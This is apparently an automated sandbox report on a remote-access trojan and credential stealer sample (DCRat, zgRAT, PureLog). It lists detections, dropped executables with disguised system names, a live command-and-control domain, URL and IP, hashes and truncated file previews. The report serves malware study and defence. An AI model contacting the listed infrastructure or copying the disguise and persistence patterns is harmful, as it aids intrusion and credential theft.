                            DLL Side-Loading                            		Proc FilesystemSystem Owner/User DiscoveryCloud ServicesCredential API HookingApplication Layer ProtocolExfiltration Over Alternative ProtocolDefacement

                            Behavior Graph

                            Hide Legend

                            Legend:

                            • Process
                            • Signature
                            • Created File
                            • DNS/IP Info
                            • Is Dropped
                            • Is Windows Process
                            • Number of created Registry Values
                            • Number of created Files
                            • Visual Basic
                            • Delphi
                            • Java
                            • .Net C# or VB.NET
                            • C, C++ or other language
                            • Is malicious
                            • Internet
                            behaviorgraph top1 dnsIp2 2 Behavior Graph ID: 1580667 Sample: cbCjTbodwa.exe Startdate: 25/12/2024 Architecture: WINDOWS Score: 100 111 whware.top 2->111 119 Suricata IDS alerts for network traffic 2->119 121 Found malware configuration 2->121 123 Antivirus detection for URL or domain 2->123 125 16 other signatures 2->125 15 cbCjTbodwa.exe 4 44 2->15         started        signatures3 process4 file5 95 C:\Windows\L2Schemas\RuntimeBroker.exe, PE32 15->95 dropped 97 C:\Windows\...97kgVUECczLKUWJoEOfo.exe, PE32 15->97 dropped 99 C:\Users\user\Desktop\xxMkqOtN.log, PE32 15->99 dropped 101 29 other malicious files 15->101 dropped 115 Drops PE files with benign system names 15->115 19 cmd.exe 1 15->19         started        signatures6 process7 signatures8 127 Uses ping.exe to sleep 19->127 129 Uses ping.exe to check the status of other devices and networks 19->129 22 smss.exe 14 28 19->22         started        26 conhost.exe 19->26         started        28 PING.EXE 1 19->28         started        30 chcp.com 1 19->30         started        process9 dnsIp10 113 whware.top 37.44.238.250, 49730, 49737, 49738 HARMONYHOSTING-ASFR France 22->113 79 C:\Users\user\Desktop\wPmufWmp.log, PE32 22->79 dropped 81 C:\Users\user\Desktop\ubimtJqr.log, PE32 22->81 dropped 83 C:\Users\user\Desktop\qoQnRMbD.log, PE32 22->83 dropped 85 20 other malicious files 22->85 dropped 32 cmd.exe 1 22->32         started        file11 process12 signatures13 117 Uses ping.exe to sleep 32->117 35 smss.exe 27 32->35         started        38 conhost.exe 32->38         started        40 PING.EXE 1 32->40         started        42 chcp.com 1 32->42         started        process14 file15 71 C:\Users\user\Desktop\vxjLKDgG.log, PE32 35->71 dropped 73 C:\Users\user\Desktop\vOqdYZaJ.log, PE32 35->73 dropped 75 C:\Users\user\Desktop\oRCevKfU.log, PE32 35->75 dropped 77 20 other malicious files 35->77 dropped 44 cmd.exe 1 35->44         started        process16 signatures17 135 Uses ping.exe to sleep 44->135 47 smss.exe 44->47         started        50 conhost.exe 44->50         started        52 chcp.com 44->52         started        54 PING.EXE 44->54         started        process18 file19 103 C:\Users\user\Desktop\xYvLahMV.log, PE32 47->103 dropped 105 C:\Users\user\Desktop\sldNxkwh.log, PE32 47->105 dropped 107 C:\Users\user\Desktop\nxLOVoht.log, PE32 47->107 dropped 109 20 other malicious files 47->109 dropped 56 cmd.exe 47->56         started        process20 signatures21 133 Uses ping.exe to sleep 56->133 59 smss.exe 56->59         started        62 conhost.exe 56->62         started        64 chcp.com 56->64         started        66 PING.EXE 56->66         started        process22 file23 87 C:\Users\user\Desktop\xLDDFxvn.log, PE32 59->87 dropped 89 C:\Users\user\Desktop\tGemOfmw.log, PE32 59->89 dropped 91 C:\Users\user\Desktop\qVyWGScD.log, PE32 59->91 dropped 93 20 other malicious files 59->93 dropped 68 cmd.exe 59->68         started        process24 signatures25 131 Uses ping.exe to sleep 68->131

                            Screenshots

                            Thumbnails

                            This section contains all screenshots as thumbnails, including those not shown in the slideshow.


                            windows-stand

                            Antivirus, Machine Learning and Genetic Malware Detection

                            Initial Sample

                            SourceDetectionScannerLabelLink
                            cbCjTbodwa.exe58%VirustotalBrowse
                            cbCjTbodwa.exe71%ReversingLabsByteCode-MSIL.Trojan.DCRat
                            cbCjTbodwa.exe100%AviraHEUR/AGEN.1323342
                            cbCjTbodwa.exe100%Joe Sandbox ML

                            Dropped Files

                            SourceDetectionScannerLabelLink
                            C:\Program Files\Uninstall Information\smss.exe100%AviraHEUR/AGEN.1323342
                            C:\Users\user\AppData\Local\Temp\rsWxIDz3Cx.bat100%AviraBAT/Delbat.C
                            C:\Program Files (x86)\Windows Mail\RuntimeBroker.exe100%AviraHEUR/AGEN.1323342
                            C:\Program Files\Windows Multimedia Platform\NkgVUECczLKUWJoEOfo.exe100%AviraHEUR/AGEN.1323342
                            C:\Users\user\AppData\Local\Temp\SrnQwv5hL3.bat100%AviraBAT/Delbat.C
                            C:\Users\user\AppData\Local\Temp\IB3ybkF286.bat100%AviraBAT/Delbat.C
                            C:\Users\user\AppData\Local\Temp\COegk83zmU.bat100%AviraBAT/Delbat.C
                            C:\Users\user\Desktop\AGgFSeej.log100%AviraHEUR/AGEN.1300079
                            C:\Users\user\Desktop\CvhdKpmN.log100%AviraTR/PSW.Agent.qngqt
                            C:\Users\user\AppData\Local\Temp\z5PBQAYZs7.bat100%AviraBAT/Delbat.C
                            C:\Users\user\Desktop\CTwchNCP.log100%AviraHEUR/AGEN.1300079
                            C:\Users\user\AppData\Local\Temp\WLOEqHw6cP.bat100%AviraBAT/Delbat.C
                            C:\Users\user\AppData\Local\Temp\LsjJJiW2rn.bat100%AviraBAT/Delbat.C
                            C:\Users\user\AppData\Local\Temp\2bTPqZ7w1t.bat100%AviraBAT/Delbat.C
                            C:\Users\user\AppData\Local\Temp\zhbNlpe3Af.bat100%AviraBAT/Delbat.C
                            C:\Users\user\AppData\Local\Temp\HqVvjk53aP.bat100%AviraBAT/Delbat.C
                            C:\Users\user\Desktop\CUBmTYHY.log100%Joe Sandbox ML
                            C:\Program Files\Uninstall Information\smss.exe100%Joe Sandbox ML
                            C:\Users\user\Desktop\CpxCxIse.log100%Joe Sandbox ML
                            C:\Program Files (x86)\Windows Mail\RuntimeBroker.exe100%Joe Sandbox ML
                            C:\Users\user\Desktop\BnCbxKtG.log100%Joe Sandbox ML
                            C:\Program Files\Windows Multimedia Platform\NkgVUECczLKUWJoEOfo.exe100%Joe Sandbox ML
                            C:\Users\user\Desktop\AGgFSeej.log100%Joe Sandbox ML
                            C:\Users\user\Desktop\CvXLmSbv.log100%Joe Sandbox ML
                            C:\Users\user\Desktop\CvhdKpmN.log100%Joe Sandbox ML
                            C:\Users\user\Desktop\CTwchNCP.log100%Joe Sandbox ML
                            C:\Users\user\Desktop\CXuUcpmv.log100%Joe Sandbox ML
                            C:\Program Files (x86)\Windows Mail\RuntimeBroker.exe71%ReversingLabsByteCode-MSIL.Trojan.DCRat
                            C:\Program Files\Uninstall Information\smss.exe71%ReversingLabsByteCode-MSIL.Trojan.DCRat
                            C:\Program Files\Windows Multimedia Platform\NkgVUECczLKUWJoEOfo.exe71%ReversingLabsByteCode-MSIL.Trojan.DCRat
                            C:\Users\user\Desktop\AGgFSeej.log17%ReversingLabs
                            C:\Users\user\Desktop\AkBKmAvu.log25%ReversingLabs
                            C:\Users\user\Desktop\BBtuMuwg.log8%ReversingLabs
                            C:\Users\user\Desktop\BFJtLgnJ.log8%ReversingLabs
                            C:\Users\user\Desktop\BnCbxKtG.log8%ReversingLabs
                            C:\Users\user\Desktop\BvmtbuUM.log12%ReversingLabs
                            C:\Users\user\Desktop\CCpKTrIN.log21%ReversingLabs
                            C:\Users\user\Desktop\CTwchNCP.log17%ReversingLabs
                            C:\Users\user\Desktop\CUBmTYHY.log8%ReversingLabs
                            C:\Users\user\Desktop\CXuUcpmv.log8%ReversingLabs
                            C:\Users\user\Desktop\CpxCxIse.log8%ReversingLabs
                            C:\Users\user\Desktop\CvXLmSbv.log21%ReversingLabsByteCode-MSIL.Trojan.Generic
                            C:\Users\user\Desktop\CvhdKpmN.log71%ReversingLabsByteCode-MSIL.Trojan.DCRat
                            C:\Users\user\Desktop\DOeOnwYe.log8%ReversingLabs
                            C:\Users\user\Desktop\DQYlDNRK.log8%ReversingLabs
                            C:\Users\user\Desktop\DSzWZtVQ.log17%ReversingLabs
                            C:\Users\user\Desktop\DWUeKrTC.log9%ReversingLabs
                            C:\Users\user\Desktop\DcFucYbv.log50%ReversingLabsByteCode-MSIL.Trojan.DCRat
                            C:\Users\user\Desktop\DmZKTIGZ.log17%ReversingLabs
                            C:\Users\user\Desktop\DsyTISqq.log38%ReversingLabsByteCode-MSIL.Trojan.Generic
                            C:\Users\user\Desktop\EEctoaMI.log12%ReversingLabs
                            C:\Users\user\Desktop\EKCBdlwZ.log8%ReversingLabs
                            C:\Users\user\Desktop\ETvmfrix.log17%ReversingLabs
                            C:\Users\user\Desktop\EbrBtxwn.log50%ReversingLabsByteCode-MSIL.Trojan.DCRat
                            C:\Users\user\Desktop\EjbTYgWt.log21%ReversingLabs
                            C:\Users\user\Desktop\EvAkSdoC.log21%ReversingLabs
                            C:\Users\user\Desktop\FCiWZKUc.log12%ReversingLabs
                            C:\Users\user\Desktop\FHzuREdv.log71%ReversingLabsByteCode-MSIL.Trojan.DCRat
                            C:\Users\user\Desktop\FTPcKHbO.log17%ReversingLabsByteCode-MSIL.Trojan.Whispergate
                            C:\Users\user\Desktop\FbzvpqBU.log21%ReversingLabs
                            C:\Users\user\Desktop\FerdyHgq.log8%ReversingLabs
                            C:\Users\user\Desktop\GHObKKRD.log21%ReversingLabs
                            C:\Users\user\Desktop\GdejPgAj.log8%ReversingLabs
                            C:\Users\user\Desktop\GoLtprLU.log8%ReversingLabs
                            C:\Users\user\Desktop\GqWrkPRR.log25%ReversingLabs
                            C:\Users\user\Desktop\GzJevKjX.log21%ReversingLabs
                            C:\Users\user\Desktop\HHTkwVXM.log21%ReversingLabsByteCode-MSIL.Trojan.Generic
                            C:\Users\user\Desktop\HIpNgqWJ.log17%ReversingLabs
                            C:\Users\user\Desktop\HcPBaEHS.log21%ReversingLabsByteCode-MSIL.Trojan.Generic
                            C:\Users\user\Desktop\HdldKaGP.log8%ReversingLabs
                            C:\Users\user\Desktop\HgfAZqyv.log21%ReversingLabsByteCode-MSIL.Trojan.Generic
                            C:\Users\user\Desktop\IBCLIEHl.log17%ReversingLabsByteCode-MSIL.Trojan.Generic
                            C:\Users\user\Desktop\IBwMQtoS.log17%ReversingLabsByteCode-MSIL.Trojan.Whispergate
                            C:\Users\user\Desktop\IsIaGzVN.log29%ReversingLabs
                            C:\Users\user\Desktop\JJBKftVy.log17%ReversingLabsByteCode-MSIL.Trojan.Whispergate
                            C:\Users\user\Desktop\JJGTREbI.log8%ReversingLabs
                            C:\Users\user\Desktop\JUiTFEgk.log21%ReversingLabsByteCode-MSIL.Trojan.Generic
                            C:\Users\user\Desktop\JgNirMRL.log25%ReversingLabs
                            C:\Users\user\Desktop\KDfbGRAO.log38%ReversingLabsByteCode-MSIL.Trojan.Generic
                            C:\Users\user\Desktop\KFtuhByL.log21%ReversingLabs
                            C:\Users\user\Desktop\KxKbDRXG.log50%ReversingLabsByteCode-MSIL.Trojan.DCRat
                            C:\Users\user\Desktop\LCQsRpHx.log9%ReversingLabs
                            C:\Users\user\Desktop\LSGshBHL.log50%ReversingLabsByteCode-MSIL.Trojan.DCRat
                            C:\Users\user\Desktop\LXUCbnlf.log8%ReversingLabs
                            C:\Users\user\Desktop\LuLvCpZR.log9%ReversingLabs
                            C:\Users\user\Desktop\MLYKMAhd.log12%ReversingLabs
                            C:\Users\user\Desktop\MVHIsMFX.log17%ReversingLabsByteCode-MSIL.Trojan.Generic
                            C:\Users\user\Desktop\MeAtuRrv.log25%ReversingLabs
                            C:\Users\user\Desktop\MeqbWvgd.log17%ReversingLabs
                            C:\Users\user\Desktop\NJLRdZBV.log12%ReversingLabs
                            C:\Users\user\Desktop\OWjhYWSe.log17%ReversingLabsByteCode-MSIL.Trojan.Whispergate
                            C:\Users\user\Desktop\OaDBDTBH.log21%ReversingLabs
                            C:\Users\user\Desktop\OkIkBytc.log25%ReversingLabs
                            C:\Users\user\Desktop\OnvJYDSq.log71%ReversingLabsByteCode-MSIL.Trojan.DCRat
                            C:\Users\user\Desktop\OtVRNOBH.log17%ReversingLabs
                            C:\Users\user\Desktop\OyuueWqt.log17%ReversingLabsByteCode-MSIL.Trojan.Whispergate

                            Unpacked PE Files

                            ⊘No Antivirus matches

                            Domains

                            ⊘No Antivirus matches

                            URLs

                            SourceDetectionScannerLabelLink
                            http://whware.top0%Avira URL Cloudsafe
                            http://whware.top/0%Avira URL Cloudsafe
                            http://whware.top/RequestLowGeoLongpollWordpress.php100%Avira URL Cloudmalware

                            Domains and IPs

                            Contacted Domains

                            NameIPActiveMaliciousAntivirus DetectionReputation
                            whware.top
                            		37.44.238.250
                            		truetrue
                              		unknown

                              Contacted URLs

                              NameMaliciousAntivirus DetectionReputation
                              http://whware.top/RequestLowGeoLongpollWordpress.phptrue
                              • Avira URL Cloud: malware
                              		unknown

                              URLs from Memory and Binaries

                              NameSourceMaliciousAntivirus DetectionReputation
                              http://whware.topsmss.exe, 00000005.00000002.1841814843.00000000032DF000.00000004.00000800.00020000.00000000.sdmp, smss.exe, 00000005.00000002.1841814843.000000000301F000.00000004.00000800.00020000.00000000.sdmp, smss.exe, 0000000E.00000002.1980770351.00000000030BE000.00000004.00000800.00020000.00000000.sdmp, smss.exe, 0000000E.00000002.1980770351.0000000002E21000.00000004.00000800.00020000.00000000.sdmp, smss.exe, 00000014.00000002.2120703144.0000000002FAE000.00000004.00000800.00020000.00000000.sdmp, smss.exe, 00000014.00000002.2120703144.00000000031C1000.00000004.00000800.00020000.00000000.sdmp, smss.exe, 0000001A.00000002.2263049282.0000000003A17000.00000004.00000800.00020000.00000000.sdmp, smss.exe, 0000001A.00000002.2263049282.0000000003BF8000.00000004.00000800.00020000.00000000.sdmp, smss.exe, 00000020.00000002.2410791493.0000000002FAB000.00000004.00000800.00020000.00000000.sdmp, smss.exe, 00000020.00000002.2410791493.0000000003224000.00000004.00000800.00020000.00000000.sdmp, smss.exe, 00000026.00000002.2512491463.0000000003D15000.00000004.00000800.00020000.00000000.sdmp, smss.exe, 00000026.00000002.2512491463.0000000003EEB000.00000004.00000800.00020000.00000000.sdmp, smss.exe, 0000002D.00000002.2628237566.000000000303B000.00000004.00000800.00020000.00000000.sdmp, smss.exe, 0000002D.00000002.2628237566.00000000032A0000.00000004.00000800.00020000.00000000.sdmp, smss.exe, 00000033.00000002.2788203505.000000000353B000.00000004.00000800.00020000.00000000.sdmp, smss.exe, 00000033.00000002.2788203505.00000000037AB000.00000004.00000800.00020000.00000000.sdmptrue
                              • Avira URL Cloud: safe
                              		unknown
                              http://schemas.xmlsoap.org/ws/2005/05/identity/claims/namecbCjTbodwa.exe, 00000000.00000002.1697835749.00000000039CF000.00000004.00000800.00020000.00000000.sdmp, smss.exe, 00000005.00000002.1841814843.000000000301F000.00000004.00000800.00020000.00000000.sdmp, smss.exe, 0000000E.00000002.1980770351.0000000002E21000.00000004.00000800.00020000.00000000.sdmp, smss.exe, 00000014.00000002.2120703144.0000000002FAE000.00000004.00000800.00020000.00000000.sdmp, smss.exe, 0000001A.00000002.2263049282.0000000003A17000.00000004.00000800.00020000.00000000.sdmp, smss.exe, 00000020.00000002.2410791493.0000000002FAB000.00000004.00000800.00020000.00000000.sdmp, smss.exe, 00000026.00000002.2512491463.0000000003D15000.00000004.00000800.00020000.00000000.sdmp, smss.exe, 0000002D.00000002.2628237566.000000000303B000.00000004.00000800.00020000.00000000.sdmp, smss.exe, 00000033.00000002.2788203505.000000000353B000.00000004.00000800.00020000.00000000.sdmpfalse
                                		high
                                http://whware.top/smss.exe, 00000033.00000002.2788203505.000000000353B000.00000004.00000800.00020000.00000000.sdmptrue
                                • Avira URL Cloud: safe
                                		unknown

                                World Map of Contacted IPs

                                • No. of IPs < 25%
                                • 25% < No. of IPs < 50%
                                • 50% < No. of IPs < 75%
                                • 75% < No. of IPs

                                Public IPs

                                IPDomainCountryFlagASNASN NameMalicious
                                37.44.238.250
                                		whware.topFrance
                                		49434HARMONYHOSTING-ASFRtrue

                                General Information

                                Joe Sandbox version:41.0.0 Charoite
                                Analysis ID:1580667
                                Start date and time:2024-12-25 16:31:06 +01:00
                                Joe Sandbox product:CloudBasic
                                Overall analysis duration:0h 12m 3s
                                Hypervisor based Inspection enabled:false
                                Report type:full
                                Cookbook file name:default.jbs
                                Analysis system description:Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
                                Number of analysed new started processes analysed:59
                                Number of new started drivers analysed:0
                                Number of existing processes analysed:0
                                Number of existing drivers analysed:0
                                Number of injected processes analysed:0
                                Technologies:
                                • HCA enabled
                                • EGA enabled
                                • AMSI enabled
                                Analysis Mode:default
                                Analysis stop reason:Timeout
                                Sample name:cbCjTbodwa.exe
                                renamed because original name is a hash value
                                Original Sample Name:40bd8b1654d6e65214bd65efdb0beab2.exe
                                Detection:MAL
                                Classification:mal100.troj.evad.winEXE@82/267@1/1
                                EGA Information:
                                • Successful, ratio: 33.3%
                                HCA Information:Failed
                                Cookbook Comments:
                                • Found application associated with file extension: .exe

                                Warnings

                                • Exclude process from analysis (whitelisted): MpCmdRun.exe, dllhost.exe, WMIADAP.exe, SIHClient.exe, conhost.exe
                                • Excluded IPs from analysis (whitelisted): 4.245.163.56, 13.107.246.63
                                • Excluded domains from analysis (whitelisted): ocsp.digicert.com, slscr.update.microsoft.com, otelrules.azureedge.net, ctldl.windowsupdate.com, fe3cr.delivery.mp.microsoft.com
                                • Execution Graph export aborted for target cbCjTbodwa.exe, PID 6240 because it is empty
                                • Execution Graph export aborted for target smss.exe, PID 2336 because it is empty
                                • Execution Graph export aborted for target smss.exe, PID 2676 because it is empty
                                • Execution Graph export aborted for target smss.exe, PID 3808 because it is empty
                                • Execution Graph export aborted for target smss.exe, PID 4324 because it is empty
                                • Execution Graph export aborted for target smss.exe, PID 5940 because it is empty
                                • Not all processes where analyzed, report is missing behavior information
                                • Report creation exceeded maximum time and may have missing disassembly code information.
                                • Report size exceeded maximum capacity and may have missing behavior information.
                                • Report size exceeded maximum capacity and may have missing disassembly code.
                                • Report size getting too big, too many NtAllocateVirtualMemory calls found.
                                • Report size getting too big, too many NtOpenKeyEx calls found.
                                • Report size getting too big, too many NtProtectVirtualMemory calls found.
                                • Report size getting too big, too many NtQueryValueKey calls found.

                                Simulations

                                Behavior and APIs

                                TimeTypeDescription
                                10:32:15API Interceptor9x Sleep call for process: smss.exe modified

                                Joe Sandbox View / Context

                                IPs

                                MatchAssociated Sample Name / URLSHA 256DetectionThreat NameLinkContext
                                37.44.238.250vb8DOBZQ4X.exeGet hashmaliciousDCRat, PureLog Stealer, zgRATBrowse
                                • 228472cm.n9shka.top/PhpauthGamelongpollBigloadbaseLinuxWindowstrackDatalife.php
                                8k1e14tjcx.exeGet hashmaliciousDCRat, PureLog Stealer, zgRATBrowse
                                • 703648cm.renyash.top/provider_cpugame.php
                                4si9noTBNw.exeGet hashmaliciousDCRat, PureLog Stealer, zgRATBrowse
                                • 306039cm.nyashcrack.top/geoGeneratorwordpresswpprivatetempDownloads.php
                                Qsi7IgkrWa.exeGet hashmaliciousDCRat, PureLog Stealer, zgRATBrowse
                                • 595506cm.n9shka.top/BigloadgeneratortraffictestDatalifeTemp.php
                                4Awb1u1GcJ.exeGet hashmaliciousDCRat, PureLog Stealer, zgRATBrowse
                                • 143840cm.nyashteam.ru/DefaultPublic.php
                                s5duotgoYD.exeGet hashmaliciousDCRat, PureLog Stealer, zgRATBrowse
                                • 500154cm.n9shteam.in/eternallineHttpprocessorwindowsDatalifedleprivatecentral.php
                                QMT2731i8k.exeGet hashmaliciousDCRatBrowse
                                • 117813cm.n9shteam.in/ExternalRequest.php
                                EQdhBjQw4G.exeGet hashmaliciousDCRat, PureLog Stealer, zgRATBrowse
                                • 861848cm.nyashkoon.ru/providerimageUpdateGameDatalifelocal.php
                                3AAyq819Vy.exeGet hashmaliciousDCRat, PureLog Stealer, zgRATBrowse
                                • 861848cm.nyashkoon.ru/providerimageUpdateGameDatalifelocal.php
                                HcEvQKWAu2.exeGet hashmaliciousDCRat, PureLog Stealer, zgRATBrowse
                                • 427176cm.nyashkoon.in/providerlinerequestpollSecureHttppublictempcentral.php

                                Domains

                                ⊘No context

                                ASNs

                                MatchAssociated Sample Name / URLSHA 256DetectionThreat NameLinkContext
                                HARMONYHOSTING-ASFRvb8DOBZQ4X.exeGet hashmaliciousDCRat, PureLog Stealer, zgRATBrowse
                                • 37.44.238.250
                                dlr.arm7.elfGet hashmaliciousMiraiBrowse
                                • 37.44.238.94
                                dlr.mips.elfGet hashmaliciousMiraiBrowse
                                • 37.44.238.94
                                dlr.mpsl.elfGet hashmaliciousMiraiBrowse
                                • 37.44.238.94
                                dlr.arm6.elfGet hashmaliciousUnknownBrowse
                                • 37.44.238.94
                                8k1e14tjcx.exeGet hashmaliciousDCRat, PureLog Stealer, zgRATBrowse
                                • 37.44.238.250
                                roze.sparc.elfGet hashmaliciousGafgyt, MiraiBrowse
                                • 37.44.238.73
                                roze.armv4.elfGet hashmaliciousGafgyt, MiraiBrowse
                                • 37.44.238.73
                                roze.ppc.elfGet hashmaliciousGafgyt, MiraiBrowse
                                • 37.44.238.73
                                roze.mipsel.elfGet hashmaliciousGafgyt, MiraiBrowse
                                • 37.44.238.73

                                JA3 Fingerprints

                                ⊘No context

                                Dropped Files

                                MatchAssociated Sample Name / URLSHA 256DetectionThreat NameLinkContext
                                C:\Users\user\Desktop\AGgFSeej.logvb8DOBZQ4X.exeGet hashmaliciousDCRat, PureLog Stealer, zgRATBrowse
                                  6G8OR42xrB.exeGet hashmaliciousDCRat, PureLog Stealer, zgRATBrowse
                                    XNPOazHpXF.exeGet hashmaliciousDCRat, PureLog Stealer, zgRATBrowse
                                      9FwQYJSj4N.exeGet hashmaliciousDCRat, PureLog Stealer, zgRATBrowse
                                        DWTukBG9R7.exeGet hashmaliciousDCRat, PureLog Stealer, zgRATBrowse
                                          150bIjWiGH.exeGet hashmaliciousDCRat, PureLog Stealer, zgRATBrowse
                                            wmdqEYgW2i.exeGet hashmaliciousDCRat, PureLog Stealer, zgRATBrowse
                                              CPNSQusnwC.exeGet hashmaliciousDCRatBrowse
                                                xoCq1tvPcm.exeGet hashmaliciousDCRat, PureLog Stealer, zgRATBrowse
                                                  eu6OEBpBCI.exeGet hashmaliciousDCRat, PureLog Stealer, zgRATBrowse

                                                    Created / dropped Files

                                                    C:\Program Files (x86)\Windows Mail\9e8d7a4ca61bd9

                                                    Download File
                                                    Process:C:\Users\user\Desktop\cbCjTbodwa.exe
                                                    File Type:ASCII text, with very long lines (919), with no line terminators
                                                    Category:dropped
                                                    Size (bytes):919
                                                    Entropy (8bit):5.904428549257526
                                                    Encrypted:false
                                                    SSDEEP:24:rwbg3US0W/RHkks2Ci1foBmVuAdUmDRo+:8g3USGSJ1/xDK+
                                                    MD5:798CA0BEE8BDAD48BA26971AB48BC4A5
                                                    SHA1:BF40492624750DA1409DE99081AED940D551D1A6
                                                    SHA-256:FD2E4719CBF79582467A176C3CFA4000E40ECFA6767DF87E3A0BC68CDAF18A81
                                                    SHA-512:CA6C3F6257670C9323512F44EF645C806C598D73378157050810E213D1BF55606DF15771540B7884EA9BEE5FA66A6D58365FCA6288957C693289352DDD8BE60E
                                                    Malicious:false
                                                    Preview:oUZzQgUjgiqCcWkIF48tFGoHX2O9BV9SHwuQBLsvRKGt1eZ0nqSxrpziqRbYSViLjX5pmTH4LMb4A4Q3cYVUCLkb7LkttTd5m4JditNUjYleO4iwBh53ANJXxdsatXK1tfSFuwVtKBvnkFNDnxsLXj5YvwqEBxlLOtvslcBPMMs9bfxrQow5p8eJj3U8GQsXZjZ0UfbLvd9L067P88yWApgPPlIsIDI6eVj2G6XuMlJL9SSn6E9HbVXtCJksWtCsUCrfWEJClEJYgVQ7SfwDEBfI7zz6VoYdib16kxQ157fXM8Nr3nZ179oThjhhPNq7pp0EdTWfO4IGfH59mHCsOhgjxiYBPtlsRirgIINkQ4mC0hxani5IK7sIJQR54VPfSaz7ZZ1d3cbT5dtPu8XrxdhTzjW10Sp5oGtas0AOqbOsgZNqhCK57irz2fHzC9mlwgpytSh48JAWOzxaWqUyHt7GY4iMsKLqzn59uY6OeQ7yhVkCsrdVpyeCiiZzuVMy8Tgl4xq7uFU0wJjCTfeBrzBBJ2bL8GeJEI0Ny9H4AflkdnQZ9XgO1KHISfbCWe9nlKwnTVNTXjALNahfmBMlkPS3Br5ThFifg89S0mGoJM1SK55185ZUSXCV23mlZ4vRAepPbOpA4hcYYAsGwDUmqONJ5na7AeOOajRpPpauQZZu4o72KfzWkJlwRgTxyr9aTO7ysD0GnkVQycORphxep2oR7fXtWm6jZ9bqqJKGptsAyU7zRCIQ3fvbjq0NpGuAnw0yAikgXqz5JodmhicTepp4OAGAS6bi8sWCeJytbl2NqzR5NOpGoag8G6kAbkOaPQ6bRbIYtt22wcNZsLxERU3iMY5hiyR0Xc7Z20nvFRX5hnLotLRQxKJ4WYP3flz4bCfUexg2hB8978AiMRxXhAD

                                                    C:\Program Files (x86)\Windows Mail\RuntimeBroker.exe

                                                    Download File
                                                    Process:C:\Users\user\Desktop\cbCjTbodwa.exe
                                                    File Type:PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
                                                    Category:dropped
                                                    Size (bytes):3697152
                                                    Entropy (8bit):7.825214540117569
                                                    Encrypted:false
                                                    SSDEEP:98304:wU0X6MSPLBMjtLfNwpOtXpsrN7jtUzEsidnwjnU:wU0BxqpOEjtUQs+wD
                                                    MD5:40BD8B1654D6E65214BD65EFDB0BEAB2
                                                    SHA1:A8B7565BAB387BAEE59FD80E21BA2806AB0EEB38
                                                    SHA-256:C6887B45E8295FD4896655603B599850CFF7FC0B4322E5ACE083D584196755A4
                                                    SHA-512:37F86E51DDD6BEDA3124E22BBD0D61CE8B90EFF99AAA31AA76DB9528AE4533B14DD4B15CB8737585B27C3A624FCD38824B9B4F6B646B79286910EDFFFEC40AE0
                                                    Malicious:true
                                                    Yara Hits:
                                                    • Rule: JoeSecurity_zgRAT_1, Description: Yara detected zgRAT, Source: C:\Program Files (x86)\Windows Mail\RuntimeBroker.exe, Author: Joe Security
                                                    • Rule: JoeSecurity_PureLogStealer, Description: Yara detected PureLog Stealer, Source: C:\Program Files (x86)\Windows Mail\RuntimeBroker.exe, Author: Joe Security
                                                    Antivirus:
                                                    • Antivirus: Avira, Detection: 100%
                                                    • Antivirus: Joe Sandbox ML, Detection: 100%
                                                    • Antivirus: ReversingLabs, Detection: 71%
                                                    Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L......e.................b8...........8.. ....8...@.. ........................8...........@...................................8.K.....8. .....................8...................................................... ............... ..H............text...$`8.. ...b8................. ..`.rsrc... .....8......d8.............@....reloc........8......h8.............@..B..................8.....H.......l...T...............z.-.O.8......................................0..........(.... ........8........E....*.......N...)...8%...(.... ....~....{....:....& ....8....*(.... ....~....{m...:....& ....8....(.... ....8........0..)....... ........8........E........u...........P.......8....~....(P... .... .... ....s....~....(T....... ....~....{....:....& ....8.......... ....~....{s...9y...& ....8n.......~....(X...~....(\... ....<C... ....~....{....98...& ....8-...8*... ....~....

                                                    C:\Program Files (x86)\Windows Mail\RuntimeBroker.exe:Zone.Identifier

                                                    Download File
                                                    Process:C:\Users\user\Desktop\cbCjTbodwa.exe
                                                    File Type:ASCII text, with CRLF line terminators
                                                    Category:dropped
                                                    Size (bytes):26
                                                    Entropy (8bit):3.95006375643621
                                                    Encrypted:false
                                                    SSDEEP:3:ggPYV:rPYV
                                                    MD5:187F488E27DB4AF347237FE461A079AD
                                                    SHA1:6693BA299EC1881249D59262276A0D2CB21F8E64
                                                    SHA-256:255A65D30841AB4082BD9D0EEA79D49C5EE88F56136157D8D6156AEF11C12309
                                                    SHA-512:89879F237C0C051EBE784D0690657A6827A312A82735DA42DAD5F744D734FC545BEC9642C19D14C05B2F01FF53BC731530C92F7327BB7DC9CDE1B60FB21CD64E
                                                    Malicious:true
                                                    Preview:[ZoneTransfer]....ZoneId=0

                                                    C:\Program Files\Uninstall Information\69ddcba757bf72

                                                    Download File
                                                    Process:C:\Users\user\Desktop\cbCjTbodwa.exe
                                                    File Type:ASCII text, with very long lines (605), with no line terminators
                                                    Category:dropped
                                                    Size (bytes):605
                                                    Entropy (8bit):5.857350317552654
                                                    Encrypted:false
                                                    SSDEEP:12:U3gwAXDVoEOzQPGQ1w0eikYqkaNGc6XdtsRdvalqsrq4/rn:ug9XDMQ9e7lGc6cRdvhcl
                                                    MD5:DA25A61B09780944ED18406BED6D5703
                                                    SHA1:CB1A9574707A4BC7E389B2FA40671181E1E1C37F
                                                    SHA-256:EEDE496F99961AF62C4E711727726CB9781BCA4FCCDA8E9661D77044600D6ED4
                                                    SHA-512:12979B7B1C639C7533359099E619135965F83CF6166235F9DAFE07F0D87D4B054ADF1D9C56D523B8E32E72AFE70FBC00743DE8390F128E55BC401468905798D1
                                                    Malicious:false
